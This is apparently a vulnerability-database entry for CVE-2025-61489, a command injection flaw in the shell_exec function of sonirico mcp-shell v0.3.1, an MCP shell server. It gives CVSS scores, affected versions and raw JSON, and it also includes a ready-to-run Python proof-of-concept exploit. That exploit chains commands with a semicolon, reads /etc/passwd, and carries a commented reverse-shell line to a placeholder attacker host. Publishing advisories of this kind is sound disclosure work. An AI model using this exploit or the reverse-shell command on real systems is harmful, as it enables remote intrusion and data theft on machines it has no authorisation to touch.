Security Vulnerability Report
中文
CVE-2025-61489 CVSS 6.5 MEDIUM

CVE-2025-61489

Published: 2026-01-07 17:16:01
Last Modified: 2026-01-29 01:13:50

Description

A command injection vulnerability in the shell_exec function of sonirico mcp-shell v0.3.1 allows attackers to execute arbitrary commands via supplying a crafted command string.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:sonirico:mcp-shell:0.3.1:*:*:*:*:*:*:* - VULNERABLE
sonirico/mcp-shell < 0.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-61489 PoC - mcp-shell command injection # Target: sonirico/mcp-shell v0.3.1 def exploit_mcp_shell(target_url, malicious_cmd): """ Exploit CVE-2025-61489: Command injection in shell_exec function Args: target_url: Base URL of the vulnerable mcp-shell service malicious_cmd: Malicious command to execute Returns: Response from the server """ # Construct the payload with command injection # Using semicolon to chain commands payload = f"echo test; {malicious_cmd}" # Example: Send request to shell_exec endpoint endpoint = f"{target_url}/shell/exec" headers = { "Content-Type": "application/json" } data = { "command": payload, "timeout": 30 } try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) return response.json() except requests.exceptions.RequestException as e: return {"error": str(e)} # Example usage if __name__ == "__main__": target = "http://target:port" # Read /etc/passwd as proof of concept cmd = "cat /etc/passwd" result = exploit_mcp_shell(target, cmd) print(json.dumps(result, indent=2)) # Reverse shell example (for authorized testing only) # reverse_shell_cmd = "bash -i >& /dev/tcp/attacker-ip/port 0>&1" # exploit_mcp_shell(target, reverse_shell_cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61489", "sourceIdentifier": "[email protected]", "published": "2026-01-07T17:16:00.620", "lastModified": "2026-01-29T01:13:50.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability in the shell_exec function of sonirico mcp-shell v0.3.1 allows attackers to execute arbitrary commands via supplying a crafted command string."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sonirico:mcp-shell:0.3.1:*:*:*:*:*:*:*", "matchCriteriaId": "9BA8C56E-B62C-40E4-AB75-3B9946E9DAA2"}]}]}], "references": [{"url": "https://github.com/sonirico/mcp-shell", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/sonirico/mcp-shell/issues/4", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}